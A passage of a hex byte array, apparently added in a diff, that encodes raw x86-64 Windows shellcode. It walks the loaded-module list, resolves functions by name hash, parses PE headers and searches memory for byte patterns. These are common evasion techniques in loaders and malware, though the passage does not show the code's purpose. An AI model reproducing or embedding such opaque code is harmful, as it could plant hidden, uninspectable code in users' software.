0x12, 0x00, 0x00, 0x00, 0xcc, 0x11, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, + 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x05, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, + 0xcc, 0x11, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x35, 0x06, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0xcc, 0x11, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, + 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x06, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, + 0xcc, 0x11, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x64, 0x06, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x80, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x83, 0xec, 0x28, 0x4c, 0x39, 0xca, 0x75, 0x15, 0x48, 0x89, 0xd0, 0x4c, 0x89, 0xc2, 0x49, + 0x89, 0xc0, 0xe8, 0x2d, 0x1a, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x94, 0xc0, 0xeb, 0x02, 0x31, 0xc0, + 0x48, 0x83, 0xc4, 0x28, 0xc3, 0x31, 0xc0, 0x49, 0x39, 0xc0, 0x74, 0x0d, 0x44, 0x8a, 0x0c, 0x02, + 0x44, 0x88, 0x0c, 0x01, 0x48, 0xff, 0xc0, 0xeb, 0xee, 0xc3, 0xb8, 0x05, 0x15, 0x00, 0x00, 0x45, + 0x31, 0xc0, 0x49, 0x39, 0xd0, 0x73, 0x2f, 0x46, 0x8a, 0x0c, 0x01, 0x45, 0x84, 0xc9, 0x75, 0x05, + 0x49, 0xff, 0xc0, 0xeb, 0xed, 0x45, 0x8d, 0x51, 0xe0, 0x41, 0x80, 0xf9, 0x61, 0x45, 0x0f, 0xb6, + 0xc9, 0x45, 0x0f, 0xb6, 0xd2, 0x45, 0x0f, 0x42, 0xd1, 0x44, 0x6b, 0xc8, 0x21, 0x41, 0x0f, 0xb6, + 0xc2, 0x44, 0x01, 0xc8, 0xeb, 0xda, 0xc3, 0x44, 0x8b, 0x51, 0x08, 0x45, 0x85, 0xd2, 0x74, 0x0c, + 0x0f, 0xb7, 0xd2, 0xb0, 0x01, 0x41, 0x39, 0xd2, 0x77, 0x04, 0x73, 0x03, 0x31, 0xc0, 0xc3, 0x8b, + 0x51, 0x0c, 0x45, 0x0f, 0xb7, 0xc0, 0x44, 0x39, 0xc2, 0x77, 0xf3, 0x72, 0xef, 0x66, 0x83, 0xb9, + 0x18, 0x01, 0x00, 0x00, 0x00, 0x75, 0xe7, 0x41, 0x0f, 0xb7, 0xc1, 0x39, 0x41, 0x10, 0x0f, 0x93, + 0xc0, 0xc3, 0x41, 0x56, 0x56, 0x57, 0x53, 0x48, 0x81, 0xec, 0x28, 0x08, 0x00, 0x00, 0x48, 0x8b, + 0xb4, 0x24, 0x70, 0x08, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0xff, 0xff, 0xff, 0xff, 0x49, 0x39, 0xf1, + 0x0f, 0x82, 0x9f, 0x00, 0x00, 0x00, 0x48, 0x85, 0xd2, 0x0f, 0x84, 0x96, 0x00, 0x00, 0x00, 0x4d, + 0x85, 0xc9, 0x0f, 0x84, 0x8d, 0x00, 0x00, 0x00, 0x48, 0x89, 0xd7, 0x48, 0x29, 0xf7, 0x0f, 0x82, + 0x81, 0x00, 0x00, 0x00, 0x45, 0x31, 0xd2, 0x49, 0x81, 0xfa, 0x00, 0x01, 0x00, 0x00, 0x74, 0x0a, + 0x4a, 0x89, 0x74, 0xd4, 0x28, 0x49, 0xff, 0xc2, 0xeb, 0xed, 0x48, 0xff, 0xce, 0x45, 0x31, 0xd2, + 0x49, 0x89, 0xf3, 0x48, 0x89, 0xf3, 0x48, 0x83, 0xeb, 0x01, 0x72, 0x17, 0x4d, 0x39, 0xd1, 0x74, + 0x61, 0x47, 0x0f, 0xb6, 0x34, 0x10, 0x49, 0xff, 0xc2, 0x4e, 0x89, 0x5c, 0xf4, 0x28, 0x49, 0x89, + 0xdb, 0xeb, 0xe3, 0x31, 0xdb, 0x48, 0x39, 0xfb, 0x77, 0x3b, 0x4c, 0x8d, 0x34, 0x19, 0x49, 0x89, + 0xf2, 0x4d, 0x85, 0xd2, 0x78, 0x2c, 0x4d, 0x39, 0xca, 0x73, 0x43, 0x4e, 0x8d, 0x1c, 0x13, 0x49, + 0x39, 0xd3, 0x73, 0x49, 0x47, 0x0f, 0xb6, 0x1c, 0x16, 0x47, 0x38, 0x1c, 0x10, 0x75, 0x05, 0x49, + 0xff, 0xca, 0xeb, 0xdd, 0x4e, 0x8b, 0x54, 0xdc, 0x28, 0x49, 0x83, 0xfa, 0x01, 0x4c, 0x11, 0xd3, + 0xeb, 0xc3, 0x48, 0x89, 0xd8, 0x48, 0x81, 0xc4, 0x28, 0x08, 0x00, 0x00, 0x5b, 0x5f, 0x5e, 0x41, + 0x5e, 0xc3, 0x4c, 0x8d, 0x05, 0xa7, 0xfd, 0xff, 0xff, 0x4c, 0x89, 0xc9, 0xeb, 0x0a, 0x4c, 0x8d, + 0x05, 0x6b, 0xfd, 0xff, 0xff, 0x4c, 0x89, 0xd1, 0x4c, 0x89, 0xca, 0xeb, 0x0a, 0x4c, 0x8d, 0x05, + 0x74, 0xfd, 0xff, 0xff, 0x4c, 0x89, 0xd9, 0xe8, 0x14, 0x1f, 0x00, 0x00, 0x0f, 0x0b, 0x31, 0xc0, + 0x49, 0x39, 0xc0, 0x74, 0x08, 0x88, 0x14, 0x01, 0x48, 0xff, 0xc0, 0xeb, 0xf3, 0xc3, 0x41, 0x57, + 0x41, 0x56, 0x56, 0x57, 0x53, 0x48, 0x83, 0xec, 0x20, 0x89, 0xcf, 0x65, 0x48, 0x8b, 0x04, 0x25, + 0x60, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x40, 0x18, 0x48, 0x8b, 0x58, 0x20, 0x4c, 0x8b, 0x70, 0x28, + 0x31, 0xf6, 0x48, 0x83, 0x7b, 0x30, 0x00, 0x74, 0x22, 0x4c, 0x8b, 0x3b, 0x0f, 0xb7, 0x53, 0x48, + 0x48, 0x8b, 0x4b, 0x50, 0xe8, 0x41, 0xfe, 0xff, 0xff, 0x39, 0xf8, 0x74, 0x0a, 0x4c, 0x39, 0xf3, + 0x4c, 0x89, 0xfb, 0x75, 0xdd, 0xeb, 0x04, 0x48, 0x8b, 0x73, 0x20, 0x48, 0x89, 0xf0, 0x48, 0x83, + 0xc4, 0x20, 0x5b, 0x5f, 0x5e, 0x41, 0x5e, 0x41, 0x5f, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, + 0x41, 0x54, 0x56, 0x57, 0x55, 0x53, 0x48, 0x83, 0xec, 0x28, 0x48, 0x63, 0x41, 0x3c, 0x8b, 0x84, + 0x08, 0x88, 0x00, 0x00, 0x00, 0x48, 0x01, 0xc8, 0x74, 0x68, 0x89, 0xd7, 0x48, 0x89, 0xce, 0x44, + 0x8b, 0x78, 0x14, 0x8b, 0x48, 0x1c, 0x44, 0x8b, 0x60, 0x20, 0x44, 0x8b, 0x68, 0x24, 0x48, 0x01, + 0xf1, 0x48, 0x89, 0x4c, 0x24, 0x20, 0x49, 0x01, 0xf4, 0x49, 0x01, 0xf5, 0x31, 0xdb, 0x45, 0x31, + 0xf6, 0x4d, 0x39, 0xfe, 0x74, 0x3e, 0x4c, 0x89, 0xf5, 0x43, 0x8b, 0x0c, 0xb4, 0x48, 0x01, 0xf1, + 0x48, 0xc7, 0xc2, 0xff, 0xff, 0xff, 0xff, 0x80, 0x7c, 0x11, 0x01, 0x00, 0x48, 0x8d, 0x52, 0x01, + 0x75, 0xf5, 0x4c, 0x8d, 0x75, 0x01, 0xe8, 0xaf, 0xfd, 0xff, 0xff, 0x39, 0xf8, 0x75, 0xd2, 0x41, + 0x0f, 0xb7, 0x44, 0x6d, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0x8b, 0x1c, 0x81, 0x48, 0x01, 0xf3, + 0xeb, 0x02, 0x31, 0xdb, 0x48, 0x89, 0xd8, 0x48, 0x83, 0xc4, 0x28, 0x5b, 0x5d, 0x5f, 0x5e, 0x41, + 0x5c, 0x41, 0x5d, 0x41, 0x5e, 0x41, 0x5f, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, + 0x56, 0x57, 0x55, 0x53, 0x48, 0x81, 0xec, 0x18, 0x01, 0x00, 0x00, 0x48, 0x89, 0xd6, 0x31, 0xd2, + 0x66, 0x81, 0x39, 0x4d, 0x5a, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x85, 0x7d, 0x0f, 0x00, 0x00, + 0x4d, 0x89, 0xc6, 0x4c, 0x63, 0x41, 0x3c, 0x31, 0xd2, 0x41, 0x81, 0x3c, 0x08, 0x50, 0x45, 0x00, + 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x85, 0x61, 0x0f, 0x00, 0x00, 0x48, 0x89, 0x8c, 0x24, + 0xe8, 0x00, 0x00, 0x00, 0x49, 0x01, 0xc8, 0x41, 0x0f, 0xb7, 0x40, 0x14, 0x49, 0x8d, 0x14, 0x00, + 0x49, 0x8d, 0x0c, 0x00, 0x48, 0x83, 0xc1, 0x18, 0x41, 0x0f, 0xb7, 0x40, 0x06, 0x66, 0x89, 0x44, + 0x24, 0x5e, 0x49, 0x8d, 0x46, 0xff, 0x48, 0x89, 0x84, 0x24, 0xa0, 0x00, 0x00, 0x00, 0x31, 0xc0, + 0x4d, 0x89, 0xf0, 0x49, 0x83, 0xe8, 0x04, 0x4c, 0x0f, 0x42, 0xc0, 0x4c, 0x89, 0x84, 0x24, 0xe0, + 0x00, 0x00, 0x00, 0x49, 0x8d, 0x46, 0x0f, 0x48, 0x89, 0x84, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x48, + 0x8d, 0x46, 0x01, 0x48, 0x89, 0x84, 0x24, 0xd0, 0x00, 0x00, 0x00, 0x49, 0x8d, 0x46, 0x3f, 0x48, + 0x89, 0x84, 0x24, 0xf0, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0xf9, 0xff, 0xff, 0xff, 0x4c, 0x29, + 0xf0, 0x48, 0x89, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0x44, 0x89, 0xf0, 0x83, 0xe0, 0x03, 0x4d, + 0x89, 0xf0, 0x49, 0x83, 0xe0, 0xfc, 0x4c, 0x01, 0xf2, 0x48, 0x83, 0xc2, 0x17, 0x48, 0x89, 0x94, + 0x24, 0xa8, 0x00, 0x00, 0x00, 0x31, 0xd2, 0x45, 0x31, 0xc9, 0x48, 0x89, 0x8c, 0x24, 0x98, 0x00, + 0x00, 0x00, 0x48, 0x89, 0x4c, 0x24, 0x50, 0x4c, 0x89, 0x74, 0x24, 0x48, 0x48, 0x89, 0x74, 0x24, + 0x40, 0x48, 0x89, 0x84, 0x24, 0xd8, 0x00, 0x00, 0x00, 0x4c, 0x89, 0x84, 0x24, 0xc8, 0x00, 0x00, + 0x00, 0x66, 0x44, 0x3b, 0x4c, 0x24, 0x5e, 0x0f, 0x84, 0x6a, 0x0e, 0x00, 0x00, 0x4d, 0x85, 0xf6, + 0x0f, 0x84, 0x67, 0x0e, 0x00, 0x00, 0x44, 0x89, 0x8c, 0x24, 0x8c, 0x00, 0x00, 0x00, 0x48, 0x89, + 0x54, 0x24, 0x70, 0x49, 0x83, 0xfe, 0x07, 0x77, 0x27, 0x49, 0x83, 0xfe, 0x01, 0x75, 0x39, 0x8a, + 0x06, 0x31, 0xc9, 0x48, 0x83, 0xf9, 0x08, 0x74, 0x74, 0x48, 0x8d, 0x51, 0x01, 0x4c, 0x8b, 0x44, + 0x24, 0x50, 0x41, 0x38, 0x04, 0x08, 0x48, 0x89, 0xd1, 0x75, 0xe8, 0xe9, 0x3a, 0x0e, 0x00, 0x00, + 0x41, 0xb9, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf1, 0x4c, 0x89, 0xf2, 0x4c, 0x8b, 0x44, 0x24, + 0x50, 0xe8, 0xda, 0xfb, 0xff, 0xff, 0xeb, 0x3d, 0x49, 0x83, 0xfe, 0x02, 0x75, 0x71, 0xbf, 0x08, + 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x50, 0x48, 0x89, 0xfe, 0x4c, 0x39, 0xf7, 0x72, 0x1f, + 0x48, 0x8d, 0x7e, 0xff, 0x48, 0x8d, 0x59, 0x01, 0x4c, 0x89, 0xf2, 0x4c, 0x8b, 0x44, 0x24, 0x40, + 0x4d, 0x89, 0xf1, 0xe8, 0xa8, 0xfb, 0xff, 0xff, 0x48, 0x89, 0xd9, 0x84, 0xc0, 0x74, 0xd9, 0x4c, + 0x39, 0xf6, 0x0f, 0x93, 0xc0, 0x84, 0xc0, 0x0f, 0x85, 0xdd, 0x0d, 0x00, 0x00, 0x44, 0x8b, 0x8c, + 0x24, 0x8c, 0x00, 0x00, 0x00, 0x41, 0xff, 0xc1, 0x48, 0x83, 0x44, 0x24, 0x50, 0x28, 0x48, 0x8b, + 0x54, 0x24, 0x70, 0x48, 0x83, 0xc2, 0x28, 0x48, 0x83, 0x84, 0x24, 0xa8, 0x00, 0x00, 0x00, 0x28, + 0x4c, 0x8b, 0x74, 0x24, 0x48, 0x48, 0x8b, 0x74, 0x24, 0x40, 0xe9, 0x22, 0xff, 0xff, 0xff, 0x8a, + 0x06, 0x88, 0x44, 0x24, 0x3d, 0x48, 0x8b, 0x8c, 0x24, 0xa8, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xf0, + 0x48, 0x8b, 0x94, 0x24, 0xe0, 0x00, 0x00, 0x00, 0x48, 0x39, 0xc2, 0x0f, 0x83, 0xa9, 0x08, 0x00, + 0x00, 0x4c, 0x8d, 0x40, 0xff, 0x4d, 0x39, 0xf0, 0x0f, 0x83, 0xbe, 0x0d, 0x00, 0x00, 0x49, 0x89, + 0xcd, 0x8a, 0x5c, 0x06, 0xff, 0x48, 0xff, 0xc9, 0x4c, 0x89, 0xc0, 0x3a, 0x5c, 0x24, 0x3d, 0x74, + 0xd7, 0x48, 0x83, 0xbc, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x09, 0x0f, 0x83, 0x3e, 0xff, 0xff, 0xff, + 0x48, 0x8b, 0x4c, 0x24, 0x50, 0x48, 0x89, 0x8c, 0x24, 0xf8, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x84, + 0x24, 0x00, 0x01, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x84, 0x24, 0xd0, 0x00, 0x00, + 0x00, 0x48, 0x89, 0x84, 0x24, 0x08, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x84, 0x24, 0xa0, 0x00, 0x00, + 0x00, 0x48, 0x89, 0x84, 0x24, 0x10, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x48, 0x89, 0x44, 0x24, 0x60, + 0x49, 0x89, 0xcf, 0x45, 0x31, 0xe4, 0x88, 0x5c, 0x24, 0x3e, 0x4c, 0x89, 0x84, 0x24, 0xc0, 0x00, + 0x00, 0x00, 0x48, 0x8b, 0x84, 0x24, 0xf0, 0x00, 0x00, 0x00, 0x4c, 0x01, 0xe0, 0x48, 0x83, 0xf8, + 0x07, 0x0f, 0x87, 0x42, 0x05, 0x00, 0x00, 0x48, 0x8b, 0x44, 0x24, 0x60, 0x24, 0x01, 0x0f, 0x85, + 0x35, 0x05, 0x00, 0x00, 0x4c, 0x89, 0x64, 0x24, 0x78, 0x48, 0x83, 0xa4, 0x24, 0xb8, 0x00, 0x00, + 0x00, 0x00, 0x45, 0x31, 0xe4, 0x4c, 0x89, 0xbc, 0x24, 0x80, 0x00, 0x00, 0x00, 0x49, 0x83, 0xfc, + 0x08, 0x0f, 0x84, 0x57, 0x02, 0x00, 0x00, 0x43, 0x8a, 0x44, 0xe7, 0x0f, 0x8a, 0x4c, 0x24, 0x3d, + 0x30, 0xc8, 0x88, 0x44, 0x24, 0x3c, 0x43, 0x8a, 0x44, 0xe7, 0x0e, 0x30, 0xc8, 0x88, 0x44, 0x24, + 0x3b, 0x43, 0x8a, 0x44, 0xe7, 0x0d, 0x30, 0xc8, 0x88, 0x44, 0x24, 0x3a, 0x43, 0x8a, 0x44, 0xe7, + 0x0c, 0x30, 0xc8, 0x88, 0x44, 0x24, 0x39, 0x43, 0x8a, 0x44, 0xe7, 0x0b, 0x30, 0xc8, 0x88, 0x44, + 0x24, 0x38, 0x43, 0x8a, 0x44, 0xe7, 0x0a, 0x30, 0xc8, 0x88, 0x44, 0x24, 0x37, 0x43, 0x8a, 0x44, + 0xe7, 0x09, 0x30, 0xc8, 0x88, 0x44, 0x24, 0x36, 0x43, 0x8a, 0x44, 0xe7, 0x08, 0x30, 0xc8, 0x88, + 0x44, 0x24, 0x34, 0x43, 0x8a, 0x44, 0xe7, 0x07, 0x30, 0xc8, 0x88, 0x44, 0x24, 0x31, 0x43, 0x8a, + 0x44, 0xe7, 0x06, 0x30, 0xc8, 0x88, 0x44, 0x24, 0x2f, 0x43, 0x8a, 0x44, 0xe7, 0x05, 0x30, 0xc8, + 0x88, 0x44, 0x24, 0x2d, 0x43, 0x8a, 0x44, 0xe7, 0x04, 0x30, 0xc8, 0x88, 0x44, 0x24, 0x2c, 0x43, + 0x8a, 0x44, 0xe7, 0x03, 0x30, 0xc8, 0x88, 0x44, 0x24, 0x2b, 0x43, 0x8a, 0x44, 0xe7, 0x02, 0x30, + 0xc8, 0x88, 0x44, 0x24, 0x3f, 0x43, 0x8a, 0x6c, 0xe7, 0x01, 0x40, 0x30, 0xcd, 0x47, 0x8a, 0x14, + 0xe7, 0x41, 0x30, 0xca, 0x43, 0x8a, 0x4c, 0xe5, 0x0f, 0x8a, 0x44, 0x24, 0x3e, 0x30, 0xc1, 0x88, + 0x4c, 0x24, 0x68, 0x43, 0x8a, 0x4c, 0xe5, 0x0e, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x35, 0x43, 0x8a, + 0x4c, 0xe5, 0x0d, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x33, 0x43, 0x8a, 0x4c, 0xe5, 0x0c, 0x30, 0xc1, + 0x88, 0x4c, 0x24, 0x32, 0x43, 0x8a, 0x4c, 0xe5, 0x0b, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x30, 0x43, + 0x8a, 0x4c, 0xe5, 0x0a, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x2e, 0x47, 0x8a, 0x7c, 0xe5, 0x09, 0x41, + 0x30, 0xc7, 0x47, 0x8a, 0x74, 0xe5, 0x08, 0x41, 0x30, 0xc6, 0x43, 0x8a, 0x7c, 0xe5, 0x07, 0x40, + 0x30, 0xc7, 0x43, 0x8a, 0x74, 0xe5, 0x06, 0x40, 0x30, 0xc6, 0x43, 0x8a, 0x5c, 0xe5, 0x05, 0x30, + 0xc3, 0x47, 0x8a, 0x5c, 0xe5, 0x04, 0x41, 0x30, 0xc3, 0x47, 0x8a, 0x4c, 0xe5, 0x03, 0x41, 0x30, + 0xc1, 0x43, 0x8a, 0x54, 0xe5, 0x02, 0x30, 0xc2, 0x43, 0x8a, 0x4c, 0xe5, 0x01, 0x30, 0xc1, 0x4d, + 0x89, 0xe8, 0x47, 0x8a, 0x6c, 0xe5, 0x00, 0x41, 0x30, 0xc5, 0x45, 0x08, 0xd5, 0x4d, 0x89, 0xc5, + 0x41, 0x0f, 0x94, 0xc2, 0x40, 0x08, 0xe9, 0x0f, 0x94, 0xc1, 0x00, 0xc9, 0x44, 0x08, 0xd1, 0x0a, + 0x54, 0x24, 0x3f, 0x0f, 0x94, 0xc2, 0xc0, 0xe2, 0x02, 0x44, 0x0a, 0x4c, 0x24, 0x2b, 0x41, 0x0f, + 0x94, 0xc2, 0x41, 0xc0, 0xe2, 0x03, 0x41, 0x08, 0xd2, 0x41, 0x08, 0xca, 0x44, 0x0a, 0x5c, 0x24, + 0x2c, 0x0f, 0x94, 0xc1, 0x0a, 0x5c, 0x24, 0x2d, 0x0f, 0x94, 0xc2, 0x00, 0xd2, 0x08, 0xca, 0x40, + 0x0a, 0x74, 0x24, 0x2f, 0x41, 0x0f, 0x94, 0xc0, 0x41, 0xc0, 0xe0, 0x02, 0x40, 0x0a, 0x7c, 0x24, + 0x31, 0x0f, 0x94, 0xc1, 0xc0, 0xe1, 0x03, 0x44, 0x08, 0xc1, 0x08, 0xd1, 0xc0, 0xe1, 0x04, 0x44, + 0x08, 0xd1, 0x44, 0x0a, 0x74, 0x24, 0x34, 0x0f, 0x94, 0xc2, 0x44, 0x0a, 0x7c, 0x24, 0x36, 0x4c, + 0x8b, 0xbc, 0x24, 0x80, 0x00, 0x00, 0x00, 0x41, 0x0f, 0x94, 0xc0, 0x45, 0x00, 0xc0, 0x41, 0x08, + 0xd0, 0x8a, 0x44, 0x24, 0x2e, 0x0a, 0x44, 0x24, 0x37, 0x41, 0x0f, 0x94, 0xc1, 0x41, 0xc0, 0xe1, + 0x02, 0x8a, 0x44, 0x24, 0x30, 0x0a, 0x44, 0x24, 0x38, 0x0f, 0x94, 0xc2, 0xc0, 0xe2, 0x03, 0x44, + 0x08, 0xca, 0x44, 0x08, 0xc2, 0x8a, 0x44, 0x24, 0x32, 0x0a, 0x44, 0x24, 0x39, 0x41, 0x0f, 0x94, + 0xc0, 0x8a, 0x44, 0x24, 0x33, 0x0a, 0x44, 0x24, 0x3a, 0x41, 0x0f, 0x94, 0xc1, 0x45, 0x00, 0xc9, + 0x45, 0x08, 0xc1, 0x8a, 0x44, 0x24, 0x35, 0x0a, 0x44, 0x24, 0x3b, 0x41, 0x0f, 0x94, 0xc0, 0x41, + 0xc0, 0xe0, 0x02, 0x8a, 0x44, 0x24, 0x68, 0x0a, 0x44, 0x24, 0x3c, 0x0f, 0xb6, 0xc9, 0x41, 0x0f, + 0x94, 0xc2, 0x41, 0xc0, 0xe2, 0x03, 0x45, 0x08, 0xc2, 0x45, 0x08, 0xca, 0x41, 0xc0, 0xe2, 0x04, + 0x41, 0x08, 0xd2, 0x41, 0x0f, 0xb6, 0xd2, 0xc1, 0xe2, 0x08, 0x09, 0xca, 0x66, 0x42, 0x89, 0x94, + 0x24, 0xb8, 0x00, 0x00, 0x00, 0x49, 0x83, 0xc4, 0x02, 0xe9, 0x9f, 0xfd, 0xff, 0xff, 0x31, 0xf6, + 0x8a, 0x5c, 0x24, 0x3e, 0x4c, 0x8b, 0x64, 0x24, 0x78, 0x48, 0x83, 0xfe, 0x04, 0x74, 0x41, 0x48, + 0x89, 0xf2, 0x48, 0xff, 0xc6, 0x44, 0x0f, 0xb7, 0x84, 0x54, 0xb8, 0x00, 0x00, 0x00, 0x66, 0x45, + 0x85, 0xc0, 0x74, 0xe5, 0x48, 0xc1, 0xe2, 0x04, 0x4c, 0x01, 0xe2, 0x48, 0x8b, 0x7c, 0x24, 0x60, + 0x41, 0x89, 0xf9, 0x41, 0x80, 0xe1, 0x01, 0x48, 0x8d, 0x8c, 0x24, 0xf8, 0x00, 0x00, 0x00, 0xe8, + 0xfc, 0x17, 0x00, 0x00, 0x40, 0x08, 0xf8, 0x24, 0x01, 0x48, 0x89, 0x44, 0x24, 0x60, 0xeb, 0xb9, + 0x49, 0x83, 0xc4, 0x40, 0x49, 0x83, 0xc5, 0x40, 0x49, 0x83, 0xc7, 0x40, 0xe9, 0x01, 0xfd, 0xff, + 0xff, 0x41, 0x8a, 0x4f, 0x0f, 0x8a, 0x44, 0x24, 0x3d, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x3c, 0x41, + 0x8a, 0x4f, 0x0e, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x3b, 0x41, 0x8a, 0x4f, 0x0d, 0x30, 0xc1, 0x88, + 0x4c, 0x24, 0x3a, 0x41, 0x8a, 0x4f, 0x0c, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x39, 0x41, 0x8a, 0x4f, + 0x0b, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x38, 0x41, 0x8a, 0x4f, 0x0a, 0x30, 0xc1, 0x88, 0x4c, 0x24, + 0x37, 0x41, 0x8a, 0x4f, 0x09, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x35, 0x41, 0x8a, 0x4f, 0x08, 0x30, + 0xc1, 0x88, 0x4c, 0x24, 0x33, 0x41, 0x8a, 0x4f, 0x07, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x30, 0x41, + 0x8a, 0x4f, 0x06, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x2e, 0x41, 0x8a, 0x4f, 0x05, 0x30, 0xc1, 0x88, + 0x4c, 0x24, 0x2d, 0x41, 0x8a, 0x4f, 0x04, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x2c, 0x41, 0x8a, 0x4f, + 0x03, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x2b, 0x45, 0x8a, 0x77, 0x02, 0x41, 0x30, 0xc6, 0x41, 0x8a, + 0x7f, 0x01, 0x40, 0x30, 0xc7, 0x45, 0x8a, 0x0f, 0x41, 0x30, 0xc1, 0x41, 0x8a, 0x45, 0x0f, 0x30, + 0xd8, 0x88, 0x44, 0x24, 0x36, 0x41, 0x8a, 0x45, 0x0e, 0x30, 0xd8, 0x88, 0x44, 0x24, 0x34, 0x41, + 0x8a, 0x45, 0x0d, 0x30, 0xd8, 0x88, 0x44, 0x24, 0x32, 0x41, 0x8a, 0x45, 0x0c, 0x30, 0xd8, 0x88, + 0x44, 0x24, 0x31, 0x41, 0x8a, 0x45, 0x0b, 0x30, 0xd8, 0x88, 0x44, 0x24, 0x2f, 0x4c, 0x89, 0x64, + 0x24, 0x78, 0x45, 0x8a, 0x65, 0x0a, 0x41, 0x30, 0xdc, 0x41, 0x8a, 0x6d, 0x09, 0x40, 0x30, 0xdd, + 0x4c, 0x89, 0xbc, 0x24, 0x80, 0x00, 0x00, 0x00, 0x45, 0x8a, 0x7d, 0x08, 0x41, 0x30, 0xdf, 0x41, + 0x8a, 0x75, 0x07, 0x40, 0x30, 0xde, 0x45, 0x8a, 0x5d, 0x06, 0x41, 0x30, 0xdb, 0x45, 0x8a, 0x55, + 0x05, 0x41, 0x30, 0xda, 0x45, 0x8a, 0x45, 0x04, 0x41, 0x30, 0xd8, 0x41, 0x8a, 0x55, 0x03, 0x30, + 0xda, 0x41, 0x8a, 0x4d, 0x02, 0x30, 0xd9, 0x41, 0x8a, 0x45, 0x01, 0x30, 0xd8, 0x4c, 0x89, 0x6c, + 0x24, 0x68, 0x45, 0x8a, 0x6d, 0x00, 0x41, 0x30, 0xdd, 0x45, 0x08, 0xcd, 0x41, 0x0f, 0x94, 0xc1, + 0x40, 0x08, 0xf8, 0x0f, 0x94, 0xc0, 0x00, 0xc0, 0x44, 0x08, 0xc8, 0x44, 0x08, 0xf1, 0x0f, 0x94, + 0xc1, 0xc0, 0xe1, 0x02, 0x0a, 0x54, 0x24, 0x2b, 0x41, 0x0f, 0x94, 0xc1, 0x41, 0xc0, 0xe1, 0x03, + 0x41, 0x08, 0xc9, 0x41, 0x08, 0xc1, 0x44, 0x0a, 0x44, 0x24, 0x2c, 0x0f, 0x94, 0xc0, 0x44, 0x0a, + 0x54, 0x24, 0x2d, 0x0f, 0x94, 0xc1, 0x00, 0xc9, 0x08, 0xc1, 0x44, 0x0a, 0x5c, 0x24, 0x2e, 0x0f, + 0x94, 0xc2, 0xc0, 0xe2, 0x02, 0x40, 0x0a, 0x74, 0x24, 0x30, 0x0f, 0x94, 0xc0, 0xc0, 0xe0, 0x03, + 0x08, 0xd0, 0x08, 0xc8, 0xc0, 0xe0, 0x04, 0x44, 0x08, 0xc8, 0x44, 0x0a, 0x7c, 0x24, 0x33, 0x0f, + 0x94, 0xc1, 0x40, 0x0a, 0x6c, 0x24, 0x35, 0x0f, 0x94, 0xc2, 0x00, 0xd2, 0x08, 0xca, 0x44, 0x0a, + 0x64, 0x24, 0x37, 0x4c, 0x8b, 0x64, 0x24, 0x78, 0x41, 0x0f, 0x94, 0xc0, 0x41, 0xc0, 0xe0, 0x02, + 0x8a, 0x4c, 0x24, 0x2f, 0x0a, 0x4c, 0x24, 0x38, 0x0f, 0x94, 0xc1, 0xc0, 0xe1, 0x03, 0x44, 0x08, + 0xc1, 0x08, 0xd1, 0x8a, 0x54, 0x24, 0x31, 0x0a, 0x54, 0x24, 0x39, 0x0f, 0x94, 0xc2, 0x44, 0x8a, + 0x44, 0x24, 0x32, 0x44, 0x0a, 0x44, 0x24, 0x3a, 0x41, 0x0f, 0x94, 0xc0, 0x45, 0x00, 0xc0, 0x41, + 0x08, 0xd0, 0x8a, 0x54, 0x24, 0x34, 0x0a, 0x54, 0x24, 0x3b, 0x0f, 0x94, 0xc2, 0xc0, 0xe2, 0x02, + 0x44, 0x8a, 0x4c, 0x24, 0x36, 0x44, 0x0a, 0x4c, 0x24, 0x3c, 0x0f, 0xb6, 0xc0, 0x41, 0x0f, 0x94, + 0xc1, 0x41, 0xc0, 0xe1, 0x03, 0x41, 0x08, 0xd1, 0x45, 0x08, 0xc1, 0x41, 0xc0, 